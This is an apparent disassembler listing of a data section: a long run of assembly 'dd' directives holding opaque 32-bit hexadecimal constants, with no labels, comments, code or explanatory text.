		dd 0CAE9CDF1h, 162F1560h, 0D1616A07h, 2CF297A9h, 0C404D3EAh
		dd 99EF902Eh, 0B0D4770h, 17098870h, 0EC11D946h,	0F3C00226h
		dd 45E9E25Fh, 7AFB91F8h, 6D0613ECh, 0A2149357h,	0C652030Bh
		dd 0A06C5659h, 0E5E6208h, 43D521E8h, 0CBAAEC28h, 5AD90500h
		dd 0D0ED55DFh, 4935CB04h, 7E58274h, 57187440h, 29C5A616h
		dd 3F1578D4h, 92E982A4h, 0ED8000A9h, 652F684Ah,	88F9F10Ah
		dd 5F1DB8C7h, 779FBB89h, 94814B4Ch, 41A7C30h, 764708BEh
		dd 2AE68080h, 61E53B74h, 5654F61Ch, 24520538h, 6694CC6Fh
		dd 0BB1D5372h, 3CBD1043h, 0DC5BBDDDh, 6B2819FDh, 68F45520h
		dd 7E3F7E31h, 0F587245Dh, 0DD6185Dh, 86047E9h, 0F168E555h
		dd 0F096A67Ah, 27655DDAh, 0DC63B682h, 72DF2D61h, 0C3EF0029h
		dd 0E9FABA48h, 25B7BCE0h, 8851ED74h, 7287B434h,	0A7FA4CD5h
		dd 2C11086Ch, 52B9DEB7h, 8F581A74h, 401E9499h, 7834BD55h
		dd 0BB173D0Ch, 4C310B30h, 45100BEBh, 0C7800EB4h, 91CF6001h
		dd 0C008EFC0h, 51B45013h
		dd 5873E728h, 128FE4Ah,	0B3C60480h, 0B7936FE9h,	10144878h
		dd 0D4408A4Dh, 94591261h, 0E2C5E1Bh, 3E58EDB1h,	0C883FCDBh
		dd 1FEB8082h, 3BCB2868h, 6F4E872Ch, 4B7C3A7h, 10D8F6F3h
		dd 0E483C2Ch, 7A5E2503h, 1E16D89h, 0F819AD7Ch, 59580F32h
		dd 51A605C0h, 0EE0DBF7Fh, 0C8CE2830h, 74360D6h,	313AA9A6h
		dd 0D682E22Ah, 464F7EACh, 8BB84F98h, 838F2E2Ah,	8D82F204h
		dd 80BAD37Ch, 0E9DDF793h, 12A51B5Eh, 0F4306A31h, 0DDA74BF9h
		dd 41269E8h, 0A1B7ABC6h, 72A0C3BEh, 7E823B4Ch, 0C80B31B0h
		dd 590194F6h, 39F9CB16h, 20F8566Bh, 0D85D5BACh,	0AEB514C4h
		dd 38EEB78Ch, 844ED35Eh, 8BE12C75h, 0B72EC8F6h,	0E7801C1Ah
		dd 53EFCBD4h, 0B6C0C8DDh, 50E6FAA0h, 0B5FCB97Fh, 87A00245h
		dd 8912824Fh, 0E2F4EAFCh, 60FF971Fh, 3884689Fh,	12631DBEh
		dd 0CFB90128h, 59350B50h, 0ECB8F047h, 702BA097h, 7C74C241h
		dd 0A0EE4945h, 0E672BF2Fh, 15DD2948h, 69A3D85h,	0DF4805Bh
		dd 39809806h, 0D327E288h, 72984F46h, 0E930EB05h, 34AAB1D1h
		dd 0EA1588A0h, 32A10A05h, 55B1CBE9h, 4C7DA93Bh,	742D27AAh
		dd 0B8506098h, 7D2730A7h, 0DD1DD813h, 7ADF12h, 49D7BA5Eh
		dd 68124B3Bh, 47444C97h, 0E2AEDEFEh, 592F7904h,	0D0AF201Eh
		dd 4C898FB5h, 0FD2F2652h, 777274DCh, 6A000658h,	5B676E46h
		dd 0B6B7E5E9h, 78C6847Eh, 3A3CC1B8h, 43583EA0h,	2F08A49Ch
		dd 0B6CB32E3h, 5CAC4B85h, 38DF44F7h, 204321D6h,	29DAB72Ch
		dd 0C316585Fh, 0E91C89CAh, 0AF176ECDh, 5FE9ADD9h, 6125F1E4h
		dd 0F218578Dh, 249142C5h, 4F66F8A5h, 82315D07h,	0ECCCED4Eh
		dd 517805Dh, 58A6413Ch,	9A75550Eh, 79C35C1Fh, 376FB418h
		dd 502502EAh, 2525E0Ch,	6E88D77Bh, 0D060A4DFh, 9F5A6C98h
		dd 0DD52F55Eh, 14C810EBh, 0C09F712Ch, 4128EF4Eh, 0E93D89D0h
		dd 712E6225h, 6575E901h, 0B3E82DE0h, 0D5823AB4h, 0AAD5B105h
		dd 404BE8DCh, 0D850F7C7h, 1D1F40F2h, 0A1490B93h, 4025D410h
		dd 2BFFB951h, 0B0568226h, 7DD40503h, 44881CA9h,	1170B07h
		dd 8F5085Fh, 0C310CB24h, 76054000h, 21C4E6D6h, 9B58C226h
		dd 8A30A200h, 0FD89563Fh, 0B85A7734h, 1A1697ACh, 63E2C13Bh
		dd 0DB7E6738h, 0B30C0660h, 8818390Eh, 820CAA0Ch, 1668847Ch
		dd 0EF49CD4Eh, 68087C50h, 0E91E141Ch, 0D160B816h, 4A4F7265h
		dd 1289CB12h, 85416C09h, 78B15152h, 924903E8h, 8CF70B0Fh
		dd 0A607CFFEh, 0AEF80577h, 175C4761h, 7DD5802h,	1EA4F6E3h
		dd 305999D0h, 5DDEF0E5h, 69057FF8h, 800A6F55h, 90AA9B0Ch
		dd 0E3F24FB8h, 357FA09Fh, 26B9B178h, 8BD029h, 0FD32C5EDh
		dd 20EB0148h, 5802CA49h, 206876BDh, 60CC560Ch, 0D987372h
		dd 0E9FB9550h, 589D8133h, 5BCDA845h, 6526E272h,	0EA5794D1h
		dd 5A86F354h, 8EE2D937h, 1A46D796h, 4E4DC220h, 845F575Eh
		dd 56B40D3Eh, 0D5CB7E1Ah, 0E14DE85Ah, 613EFB01h, 1AC67E4h
		dd 0EC60EBC1h, 26C05A6Fh, 694AA080h, 29B80D80h,	198E015Bh
		dd 0D0F860BBh, 48E23E2Fh, 231CB507h, 2206F72h, 0E9574C13h
		dd 81655220h, 5E3AC52Fh, 0DFDE42E6h, 41D5B03Bh,	0EB753C51h
		dd 566AEFDDh, 0CF52712Dh, 0D1310088h, 0BC6EE75Ah, 0B568C3CAh
		dd 0CABF8520h, 38FB4A73h, 5755C31h, 1C120E02h, 55B56EE9h
		dd 5F9009C4h, 1A4F9709h, 9B525569h, 51EBDF0Fh, 30AC368Fh
		dd 917ED189h, 238BE15h,	0BF685EF3h, 0D3ECB141h,	5CDEC23Eh
		dd 273847FDh, 0AD4DC631h, 0A39540CFh, 3D212DDFh, 5BD4A7CAh
		dd 2D6E215h, 516C2668h,	0ACA66067h, 0DAC89DF4h,	0CF277877h
		dd 4B097D05h, 0E128E553h, 546B1001h, 70B9E963h,	0C6DE622Ch
		dd 48264746h, 0A82BB70Ch, 1720327Fh, 0E8F47D01h, 0E5305B6Fh
		dd 2D0677B8h, 0D35005ABh, 0D2CE8100h, 0E9767554h, 0AF8BFFBCh
		dd 1C3A0719h, 421FAD80h, 87047B3Bh, 43E949CEh, 0CC3D0C8h
		dd 0EC480C92h, 4C1FDC0Ch, 0E30008DEh, 4B0F35DFh, 0BCFD2AE9h
		dd 21B0C7A3h, 87348579h, 0EF5EE5A5h, 2302E353h,	5D1ECEA6h
		dd 0E00934F0h, 58738B61h, 9C273208h, 0B3702874h, 0FBB4501Fh
		dd 13FB5938h, 0E9FDC531h, 98BA5280h, 401D7599h,	7660E1E9h
		dd 0CA38E589h, 0F305FE12h, 0C6964C74h, 982EF6C8h, 3BD40803h
		dd 8B0F2E7Ch, 0CA63AC6Fh, 317E167Bh, 7A75EEE8h,	0B84317EBh
		dd 0E955C14Ah, 7E64A0C7h, 0E671BD5Eh, 0EBE1E316h, 2EF5F0C1h
		dd 41FB1320h, 0DCF02AAEh, 32A74098h, 304D4D90h,	0CAAF3DCEh
		dd 0E95028B3h, 0CB8A55F7h, 0DB40AE03h, 20C0406h, 1753153h
		dd 3E1D1591h, 4655D20h,	0E960D852h, 0B964B0BFh,	5D0C4000h
		dd 86C9816Fh, 797B306Ch, 695A4F0Dh, 0F9C4E916h,	18C9988h
		dd 5832BC7Bh, 649968h, 95B082E9h, 0D0C872A2h, 87013959h
		dd 525742D7h, 4B939320h, 0E5E5E866h, 0F2141682h, 511A09C3h
		dd 9DE20C8Eh, 1D208BD8h, 9587B43h, 187968F8h, 528432B3h
		dd 905BCCA8h, 5340A7CEh, 0BEC96050h, 1BE80AB7h,	6BCC5DE9h
		dd 1219C4CBh, 0CACFC89Bh, 0A8ECB993h, 27CF7C91h, 27F0553h
		dd 0D4423D7Fh, 11D24C8Dh, 0CC57AFCBh, 42460876h, 8484A63h
		dd 49FE5E27h, 0F5A7F8E7h, 88607390h, 2C40583h, 307C9268h
		dd 4162E987h, 3DE0E983h, 924A2633h, 975C5A1h, 1EDFDA7h
		dd 2047E98Bh, 0B3536679h, 0D83025C2h, 58EC6DF8h, 0B2C2BB96h
		dd 0E2162F74h, 575927A8h, 0E91AF49Ch, 7286DF4Eh, 31597563h
		dd 0ED10D5F7h, 0C5A13FD9h, 4715EF2Ch, 680B2F38h, 0F6E87BDEh
		dd 0EE956675h, 0FBFE4F36h, 99F9AE34h, 0BF908884h, 0D0DE49E2h
		dd 70548B4h, 138670ACh,	7DAFB0B2h, 12D18C33h, 25273316h
		dd 50EED655h, 78BAF1C1h, 1C2F617Eh, 0E6900041h,	0B8466CFBh
		dd 40F425D1h, 3FBEC02Eh, 6817CD20h, 68BC4362h, 0F8F013A4h
		dd 155E0490h, 42880CC8h, 5CB54027h, 0C8E45CBFh,	3CA2C99h
		dd 5E8C087h, 0E902E098h, 0FEEFCE54h, 0F480C400h, 0E8B55131h
		dd 26E563C0h, 0C0502EDh, 1D8DE907h, 99058EFDh, 0AA44547Eh
		dd 0C5FD0512h, 74F6EF0Eh, 0E9867EFh, 84099C72h,	2FD3127h
		dd 9550BFFh, 7E8348DFh,	6001819Bh, 8D64590Eh, 1DF977FBh
		dd 0F034A387h, 0CB610532h, 0D6CDA62Dh, 0E47A4924h, 0E4B3A25Eh
		dd 50A93278h, 156E464Fh, 0F9832609h, 3166E030h,	535D0BEFh
		dd 36488BE9h, 0E8C151E5h, 1E580F3Ch, 50BDCE82h,	0BCC01338h
		dd 95877F7h, 0DCE700DBh, 0C179B92Dh, 0FC037FEFh, 0E51E2437h
		dd 69CE089Fh, 4C02CB2Ch, 75390189h, 9991A482h, 121BBD00h
		dd 9C198D7h, 0B46985F5h, 7F94980Dh, 0AD8997ACh,	0BD04F450h
		dd 7D1130F7h, 371076BCh, 0D388033Eh, 809FB25Ah,	78305BDAh
		dd 52ECA1D4h, 26E9D2ECh, 42D20BEBh, 0B1E69A8Fh,	884FD197h
		dd 680E5A99h, 4DF3126Dh, 6B98EAD7h, 2E8C503Eh, 0A29C5C2Ch
		dd 7A492481h, 64DAED62h, 5DB05F7Ch, 0FF7B531h, 6E27148Bh
		dd 4642885Eh, 0DBEED139h, 3AF6D540h, 0B5573E34h, 2D0517F8h
		dd 4010221Ch, 7BC1BE87h, 0D21341Bh, 853DE44h, 0E958CF01h
		dd 236BCEA4h, 0AA9C8593h, 739010BDh, 87B8E9C2h,	25AC6657h
		dd 10149261h, 0D19A0627h, 76D942AEh, 84721274h,	2C07344Eh
		dd 4B1E772Eh, 0C11ECF52h, 0A8808101h, 6846FA74h, 5F0F4912h
		dd 985E8C81h, 98B47A5Bh, 0E64D5531h, 0EA84F03Eh, 9E640C0Bh
		dd 3029504Bh, 0B8201CD3h, 29043203h, 4E8C125h, 7DBD36C1h
		dd 0DC4E327Ah, 0FEBFEF78h
		dd 0E92A5C9Ch, 2C1AD66Ch, 8F58C0E3h, 526884D5h,	3BDCF9A5h
		dd 4F13B598h, 965BA0F9h, 9516C110h, 150E1DF9h, 0BF972054h
		dd 3FA8D2C4h, 94D57069h, 84E02FC1h, 0C3A013E4h,	3578CF3Eh
		dd 5D7DF48h, 4F589682h,	215FD6C0h, 4595AC8h, 0AF89F0h
		dd 7B51D935h, 50533E74h, 0FDB43416h, 0C8B0D342h, 34894A3Bh
		dd 8819A51Bh, 17C2536h,	1523AB68h, 74473E7Dh, 0F50B137Bh
		dd 532705E7h, 0E3120BEDh, 801CAC52h, 0ECC99AC5h, 5D2E7D8Ch
		dd 0E13059A2h, 8059CF5Eh, 0C8284089h, 684FB0DDh, 0FD099F2Ah
		dd 95D91E7Fh, 77FA1A7Eh, 15E4E1B3h, 0D6A71A61h,	0DE2F41B2h
		dd 2FFDFD3Fh, 8E065156h, 732B65DCh, 44334140h, 9FE355Ch
		dd 23C57B4h, 72AE695Fh,	2CBA2DBFh, 408AA11h, 4B596AA3h
		dd 0C232E90Dh, 6B1DD99Fh, 0F768E302h, 0C0B89A69h, 82B8ACF8h
		dd 0DC6840D7h, 5A6E9509h, 0E0A21490h, 0C107BEF0h, 3C8E76CAh
		dd 5F8423A2h, 890FD67Bh, 75C9A7EEh, 0B3BE120Eh,	0F6B0D281h
		dd 0C8061679h, 344D0844h, 89565B0Bh, 3FA077DDh,	1B737D68h
		dd 0F7271F7Dh, 82F1CBD3h, 0A3B60338h, 0C29CD6B9h, 0AD49D37Dh
		dd 68CF03D1h, 0D7881447h, 0B03B073h, 638C6859h,	0E37A50C6h
		dd 0B372C02Ch, 84D84B6Fh, 92A27422h, 5A725E2Dh,	719C1A25h
		dd 0D0E950C2h, 3B576F50h, 0A71C1828h, 0D14CEE2Fh, 981988Fh
		dd 222D6A5Dh, 95D59459h, 354676DCh, 1FBB0712h, 0A41E410Fh
		dd 5EF8F015h, 4B2771BFh, 0C5384D7h, 6A56709Ah, 0E9120120h
		dd 8BE6A11Fh, 0ED2F524Ch, 0F5FEBA55h, 4F91DABCh, 25947208h
		dd 0E706747Ah, 797025A4h, 4F85987Eh, 5A5DFDF3h,	0E93FF6A1h
		dd 525D041Eh, 0B3EE5A54h, 0F410DF8Ch, 6DCBB92Dh, 7CD52C5Ah
		dd 7726F3ECh, 0AF68899Fh, 5FAEC6DFh, 668E0746h,	0D83121ADh
		dd 0F3BED856h, 702F637Fh, 0C9489B81h, 4A9CBA6Ah, 0C003F4BEh
		dd 15748032h, 5B7A3E60h, 9D2CCF1Dh, 0F4E90E81h,	410225A7h
		dd 286C0CBCh, 0B9F2D29Dh, 0B8B3BBD2h, 4F894527h, 0A4486D5Fh
		dd 2E1EA5C7h, 176A73F9h, 35EDC3E8h, 0C9DC5424h,	0EE9C5C04h
		dd 68091AF2h, 0E430066Fh, 0D47B54E3h, 8257553Fh, 3FE26BA1h
		dd 0A62F455Fh, 58908924h, 0FD089CD7h, 0E829B644h, 0CC02883Ah
		dd 7D54A050h, 73B65209h, 0CEAF83F6h, 87C6D992h,	41E9CAFBh
		dd 0B93B98F4h, 0A2562730h, 7E9B4E30h, 7ED462CAh, 42E95190h
		dd 5A93F52h, 36ED79B6h,	239CAEC0h, 67A7C28h, 6A526FCEh
		dd 33E6184Ch, 3062DB30h, 0A0B89983h, 625EF5F5h,	0B1955045h
		dd 3A85909h, 0BEADFC7Ch, 3F2A0B7h, 0F1E201B5h, 5A5A1BB0h
		dd 83F0D6BCh, 5B7CBB26h, 313EF206h, 0B0C5155h, 0AEE17B9h
		dd 65571E62h, 0AFC49211h, 19C95440h, 0C312DB6Fh, 3D8CCA52h
		dd 0A542D195h, 0E45F020Fh, 7F3620E7h, 56D6B800h, 7B354897h
		dd 50CB0933h, 1530C721h, 0DE4AE94Fh, 0C68888C1h, 0D5ECE17Eh
		dd 689FF11Ah, 22FA4CD7h, 89519D5Bh, 0F805E909h,	0EED4B545h
		dd 409D5EAAh, 0E1648453h, 3A39FF2Bh, 0F47BA421h, 0FB4829F9h
		dd 64902D67h, 665105F3h, 0FE0FA6B9h, 2AC998A1h,	0CF88538Bh
		dd 0BE3DF4C5h, 40A8DAF9h, 3D8A9A10h, 83F4BE50h,	285A58E5h
		dd 5D99F2C5h, 0B122566Ch, 0B5A9B061h, 0BA52FCB0h, 5AD52F86h
		dd 3CFF9909h, 13ED80BAh, 247948EAh, 0A878E112h,	4CB2F18Bh
		dd 3C09EF04h, 0FF6562F9h, 79AAB0EDh, 18A86815h,	0C7A84057h
		dd 483C6B0Eh, 0D2A153E9h, 0BC56D47Bh, 950B7300h, 5FD4334Bh
		dd 0DC95461Ch, 413E02BEh, 0FB700814h, 6A5F0781h, 10B9F116h
		dd 0E7662912h, 2DBE0F8Ah, 0F82C0B1Dh, 0B370953Ch, 0E91301ACh
		dd 0B7208582h, 5F2B0AD3h, 0E1BCF4F4h, 13AD1740h, 3649B368h
		dd 1F02E0F0h, 0E9654654h, 27EFDC76h, 3BC20474h,	0FAA09CB0h
		dd 75C46067h, 2209A9C3h, 57E45B4Eh, 0AA010BEBh,	0FD501BB0h
		dd 0C2BE03B5h, 0D6CCD10Eh, 136AD025h, 21504AA9h, 0A12CA8h
		dd 7E4814F5h, 897FED81h, 29524613h, 0CE4421EFh,	78FC3E9Dh
		dd 8AB796C4h, 0FD444EA5h, 0F5E32785h, 28D7C10h,	6C5EB22Dh
		dd 0BD635D65h, 0F4E755C6h, 0CD2433A7h, 68257A60h, 188CC6FDh
		dd 0C79A34Ah, 0A01707BEh, 58084E05h, 15A061Bh, 0F297C2F8h
		dd 0B1F0B573h, 0CF3C8B27h, 8544A7CFh, 45531B5Eh, 10652940h
		dd 4816CFBh, 0DA78F6CBh, 4B36FE11h, 0C8E91226h,	8C97BFC6h
		dd 9EA3F9B7h, 911440FDh, 75784EA0h, 0BD12AE46h,	0D8D721B3h
		dd 3D38C644h, 0F7818C64h, 0BF050DC2h, 0C0E93421h, 1C1E22E4h
		dd 638075F8h, 1D94BE56h, 293A0F3h, 0F181804Dh, 6F647C0Fh
		dd 31A6644h, 37B30916h,	2977DBF6h, 0EB6C83C2h, 0F30604D0h
		dd 0E65BDD30h, 0C3BF1699h, 75013190h, 69E7743Dh, 3E20F8FBh
		dd 0CF04E0D0h, 1A642CF2h, 45EEAC12h, 0FAB5019Bh, 2F9499A2h
		dd 8103F920h, 535DA5EFh, 9C0C027Dh, 21E6F1BAh, 0AD805174h
		dd 0E9673B0Ah, 59D92A8h, 564EED68h, 26D38812h, 5E24C459h
		dd 65B176ECh, 84CB552Bh, 68B7FFB5h, 4832FB4Ah, 0A3A70C1h
		dd 214F2DBAh, 3DAD00C1h, 0D0294DDEh, 5A0742F7h,	3E835861h
		dd 0F3078CBDh, 0B2746328h, 1B77C6B7h, 0B5DAC9EAh, 69269833h
		dd 8082A573h, 0D9779217h, 0F0BCB44h, 0B4012870h, 51CCFE72h
		dd 0AFC3D6B1h, 0B0F119E2h, 16C33168h, 3079DB68h, 64B05031h
		dd 385CD3F6h, 0E3B6C03Eh, 0C0FCC7E9h, 64C8C145h, 0B952FC5h
		dd 506207ABh, 654FE3C0h, 0B9774AAAh, 0BBFD0496h, 42C0AF7Dh
		dd 1625CDDh, 51CB016Ah,	548EE7E9h, 3129A089h, 3C455916h
		dd 462291FEh, 0C123819Bh, 61A689FDh, 0DB1B9228h, 59BAC536h
		dd 1144B88Fh, 1CB7B7B1h, 1B45B850h, 57AC4338h, 0A9580817h
		dd 0DFF675B0h, 0CE414C50h, 57024205h, 34EA7C01h, 280C1AC4h
		dd 31821C14h, 7035797Fh, 0D9C75377h, 0E9DF9EC3h, 3A216A0Ch
		dd 8F9B611Fh, 0B046B83Fh, 9F65685Fh, 8497B8C6h,	51A153EFh
		dd 66B1F22Bh, 19215B11h, 54C1D9E9h, 99DC404Bh, 3B603D54h
		dd 5A560E92h, 76E0A173h, 903F4ED4h, 0FE4740DBh,	0F280C209h
		dd 0E28EF7DEh, 0D8833E08h, 0A82BBB22h, 287B3012h, 20CCF768h
		dd 5BB02627h, 4645B20h,	505CB335h, 8D1C00Ch, 0F0B7FE0h
		dd 9AC0A9E9h, 0C6EA0425h, 16236800h, 0F9BD5D6Ah, 0A2E9895Fh
		dd 0E52406F6h, 0AE4F7DAh, 0D17BA427h, 9BEA8B2Ch, 5C705344h
		dd 0A5BCD1BEh, 892FD97Bh, 7855B6B1h, 0B52AB043h, 0E978ACD4h
		dd 3C8E69AAh, 7EAE8BFDh, 0C55997B3h, 0E15AB8CFh, 0E22ACA09h
		dd 0C856D665h, 25E98B20h, 45DEB7E5h, 82FFE456h,	3033FB40h
		dd 965FEE3Dh, 3C296781h, 0F2AFA720h, 0BB3F5F7Ah, 4C088D10h
		dd 9784C4EAh, 0FAC6FE04h, 0B17B9D80h, 0B636FAA0h, 6E18B08h
		dd 21F72800h, 11396DDh,	0BCA459CFh, 63541737h, 0D74FF209h
		dd 7F9CC9BFh, 64AB008Ch, 0BE5CC689h, 0FB4BDEF2h, 3C843D29h
		dd 1F222AE9h, 9DCBD99Dh, 20504857h, 5DB9808Ch, 0A22BCE17h
		dd 6A0970BCh, 49890250h, 4085108h, 0F9A2D4E9h, 29F95FCAh
		dd 0E27FF441h, 0F9BF7C35h, 0FC5F3E41h, 0FE2F9F4Dh, 0AB5B9359h
		dd 610103C8h, 555FC3FDh, 36217A54h, 0BC7EA80h, 0D408DE06h
		dd 0A96104h, 158C0558h,	24695CECh, 9D77C73Fh, 0B1591942h
		dd 3BC9DFE9h, 786ED85Eh, 736B2597h, 891F92h, 0C77632BEh
		dd 0D2C1354Ah, 2E63A3A7h, 9A325D32h, 0DE9D1758h, 0E5F77225h
		dd 0B81D0C63h, 0DFB0D7EFh, 80C9904Ch, 0FFE1907h, 765204BBh
		dd 0BB31541Eh, 0CEF39800h
		dd 101A5C62h, 0F3506E9h, 852E30BFh, 84FB8766h, 0C2A2EFA6h
		dd 38534724h, 1F9D248Bh, 314B26D8h, 960614C1h, 48450105h
		dd 65E11DA0h, 5A949A13h, 2C967544h, 224BE90Bh, 0B88AF567h
		dd 33830259h, 0C85DD95Dh, 5E5C107h, 14BED37h, 0B458B8F1h
		dd 0D72C101Ah, 0E9B01E6Bh, 45C1BFDh, 475A10B1h,	56AD5D3Dh
		dd 8A71C6C2h, 0A010FDA7h, 749D794Ch, 0CC80E2FCh, 3ECC5E0h
		dd 31EF285Fh, 0DC672CCAh, 8624E965h, 0E7827862h, 801DD41Ch
		dd 5E7A7588h, 0B94C029h, 573A4E58h, 74546AECh, 9AC4E8DBh
		dd 4416C997h, 0EA7E24E1h, 0C15B0FE2h, 680868E4h, 0DA88D39Dh
		dd 0BBAB403Ah, 0F918EC01h, 75CB810Dh, 0B54742C4h, 857D6E62h
		dd 4B84688Ah, 810D98EFh, 0E16F5A81h, 0EFCB2A38h, 0FD9C257Dh
		dd 956FCB18h, 201332Dh,	0E62AD35Bh, 2D6813AAh, 9294A24Ch
		dd 0B6C14AE8h, 3E66725Ah, 84096A8h, 0BD5E975Eh,	0D62F4CC2h
		dd 5668520Ch, 5881AC8Ch, 346AC7Ah, 0D194BC9h, 0E3E1B07Dh
		dd 7C3C2870h, 7E4758C5h, 0CE012576h, 8856E775h,	2337D2B7h
		dd 9EB40785h, 27E60481h, 0BA1BAA29h, 0A816E9C0h, 0E9DC0D8Ch
		dd 0FD36A193h, 3433DCDAh, 9AA9689Fh, 28670002h,	22E0F681h
		dd 94B5040h, 618942ACh,	30B05C61h, 59705809h, 89A2D9BFh
		dd 0C8FFC829h, 0FBA5DB6h, 71A47334h, 0A29EDE65h, 3CB316BEh
		dd 48603ABh, 38152805h,	0B90718h, 0DD5F57C2h, 0A05E52A0h
		dd 17F0CE95h, 2756163h,	0E05674D9h, 17207F60h, 3573ED00h
		dd 48D14D46h, 0B8F75450h, 35D41FDh, 0A09CFBDCh,	71F13632h
		dd 41982BC4h, 0EF89751h, 382DCCB5h, 0AB5E4123h,	25E9482Ch
		dd 90DF7AB3h, 0B7938001h, 0AC6CA4D4h, 8D6401F2h, 61B93519h
		dd 3848C513h, 43E05F62h, 0E8341342h, 39820049h,	8108940Ah
		dd 7C1209FCh, 0B8E063B2h, 5E15E8A1h, 1EB4A437h,	91003277h
		dd 27C7A2Dh, 50F8295Dh,	24E90705h, 93D2A5BFh, 850CDF0h
		dd 764DBEE6h, 0A10E5835h, 9B3A718Eh, 0F1CB4BB0h, 1E77AB10h
		dd 0FF4CC39Dh, 975B7C76h, 0CC08F973h, 0BD5F12DEh, 0A32E122Dh
		dd 0FF9095E9h, 139FD07h, 10D22E3Dh, 0E90D08C0h,	0D95B8DF0h
		dd 4CBE38ADh, 8280911h,	0CB638006h, 4B5122C8h, 2741AB49h
		dd 0B5727FECh, 822E5C9Dh, 0DA011E52h, 5B120808h, 0D38661BEh
		dd 0CACD7B3Dh, 50A279C8h, 3B6CD472h, 0C54AB61Fh, 200FFB41h
		dd 252548E9h, 50B12C5Eh, 28F52002h, 53751D6Ah, 447DE19Fh
		dd 75B7BFBBh, 0A2328810h, 57A6A959h, 3F4292F9h,	0FFE5CAAAh
		dd 0B925A80Fh, 3EF98A15h, 0F0EB1650h, 0F18088EBh, 9B153Ah
		dd 2EF5815Dh, 1A1D847Ch, 53B616E9h, 0D82071D2h,	0F1800BACh
		dd 950E2886h, 65FD9DCh,	73F2F0BAh, 25F7D0B5h, 0A4F7E288h
		dd 0DA98EA3h, 270CAC5Bh, 2F63EC5Bh, 747C7C8Fh, 7FBC3825h
		dd 9F747437h, 3A59DB4Eh, 80B83AFFh, 2D368003h, 4977216Ah
		dd 8905A70Ah, 0FA91D35Fh, 1AE97D81h, 18A6123Bh,	744C9436h
		dd 0BA42C689h, 0BC9190B4h, 86469788h, 0A649F55Fh, 0D582D752h
		dd 2CF44331h, 4C6DEEBh,	0AEB87AF0h, 9D5A51A0h, 46150C47h
		dd 0AD0C931Fh, 2DA075h,	7AD74862h, 45407C05h, 0EDC8D5F9h
		dd 28E06BE7h, 0DB07A22Dh, 0D7BA81FDh, 3B7B2679h, 630D180h
		dd 77254846h, 0E4C09400h, 1D9F2D16h, 3F804258h,	52A94AA5h
		dd 0C77B41D6h, 0F6328F52h, 5DF5DAFDh, 128D3A66h, 8DE13AB1h
		dd 0D39F3D28h, 2F3BF470h, 1C19302Eh, 7A060F0Ah,	7594B8E2h
		dd 202F8273h, 3925056Eh, 0F5A0E5DBh, 0E35B5E07h, 8B0B934Dh
		dd 4A0250F9h, 0FA1EE45Fh, 0B2444182h, 0F164353Eh, 0DDBD2F29h
		dd 2FE85F10h, 4527745Ah, 6120AE02h, 9EA34A1Ch, 58BA004Fh
		dd 0FB293D8Bh, 8A2C3FCh, 5EAD18D1h, 536D12ACh, 5845203Ah
		dd 8501BD55h, 0E97BFD22h, 0B0324A71h, 0BCC4D29Eh, 0FCB65A1Fh
		dd 0D4529705h, 2AC4BF47h, 3B5777C5h, 0B49005BCh, 56DFE10h
		dd 523BACB9h, 1F48B881h, 92C3376Bh, 26DF405Dh, 9C44B21h
		dd 0E29DBB45h, 0EE2B23FFh, 229A7BFh, 0E877E358h, 4E87D613h
		dd 9EE4A0F2h, 440D2705h, 6EC5CE9h, 0A90B1F7Ah, 945230BEh
		dd 5550051Dh, 1E04E099h, 0CB014F48h, 1C680810h,	0AFE90514h
		dd 41BAD79h, 0C0B7CAFDh, 56D1C2BEh, 7CA33ADDh, 6773C9EBh
		dd 7900B220h, 0B812463Bh, 4AE117D0h, 35590327h,	3ABA534Bh
		dd 5FB35277h, 5B8209D2h, 3258F45Ch, 0C4DD825Fh,	67900CE0h
		dd 860C3D98h, 253F6902h, 0A28C26E9h, 5F5DEBC9h,	0C9CEEC71h
		dd 4EF1550Ch, 4BF96870h, 18AAA36Ah, 0D2977172h,	2C868015h
		dd 46E83AFBh, 0EBA00BD6h, 0C7F4937Fh, 2F9D9176h, 0B4455DEFh
		dd 732AE985h, 402FE341h, 0CB383366h, 0C45A3458h, 0FB8BAB67h
		dd 0C9A9F85Bh, 0B914A159h, 0C0F65FCFh, 0E143CAD3h, 0DF71EE2Eh
		dd 992EC0BEh, 23C50211h, 8B2C207Ch, 0E55394h, 200B78D3h
		dd 13D20EBBh, 0FB292D21h, 7E209554h, 71343609h,	2FDBD4D1h
		dd 1C52072Ah, 6B5BC8DEh, 0A8A29B12h, 963A85Eh, 0B82D7568h
		dd 0F986659Fh, 4C7EE23Ah, 447B271Ch, 0CB575F05h, 0DF933834h
		dd 0FAFB56BBh, 77D27827h, 6B32D695h, 0A2A7E209h, 0C167EEC9h
		dd 648C6F01h, 5E800606h, 37CA5E08h, 79C2E322h, 9E8921E9h
		dd 4009CD69h, 2D7CD7h, 60B60CE3h, 1CC1DDF7h, 7CD95DA1h
		dd 0FE8EDF9h, 0B2435EE0h, 17701F1Fh, 0D0C13AB0h, 2BE22F5Eh
		dd 8A0F0D6h, 36CC6197h,	6B10BFA5h, 8982AA8Dh, 8E22777Eh
		dd 0EA5DBB53h, 42567C9Dh, 0A290C568h, 66814473h, 409D9F60h
		dd 0D558F79Fh, 0BDBE202Fh, 0FE8044C2h, 0F61B32ABh, 5F3DE1A0h
		dd 0F02B2C2Dh, 53302085h, 3681015Ah, 0A08EDB91h, 0E40937BAh
		dd 43C23780h, 7D00FD38h, 0A4BE5642h, 240C2E31h,	81833CE9h
		dd 1368D0B3h, 88FE4C3Dh, 0ADE9DA09h, 2699E8CCh,	1223002Dh
		dd 28CDB95Dh, 29056776h, 9BDEE9F1h, 0E48BCDAAh,	9E928788h
		dd 0DE2FFB79h, 49CD7C0Fh, 6E0540D5h, 3D7E9D91h,	41478FE2h
		dd 3325F00Ch, 70C6B2FFh, 4B68178Bh, 2A1D623Fh, 63959250h
		dd 7804C1F2h, 0D017123Dh, 22E5D07Fh, 0C0900A69h, 0F4A04B20h
		dd 981D1468h, 0F44FA575h, 811441EAh, 489E45F1h,	28C102DBh
		dd 0D7527C1Dh, 5A4EDB44h, 0BD277EB1h, 705FF84Ch, 235F6882h
		dd 0F4066C9Dh, 307E4F97h, 8341289Fh, 7FF2505Eh,	40848DC5h
		dd 871DEBC0h, 895080F1h, 90415ECDh, 409FD060h, 0D814285Ch
		dd 20C9932Ch, 0B541EF5Dh, 0F72F9755h, 139A4C7Ch, 1BF9A51Eh
		dd 0E9B4129Ch, 4409279h, 37BE62C1h, 8D162FE9h, 4026EE44h
		dd 0F80940AAh, 1E8B5D5Fh, 107C4D5Fh, 62E892EEh,	6539C280h
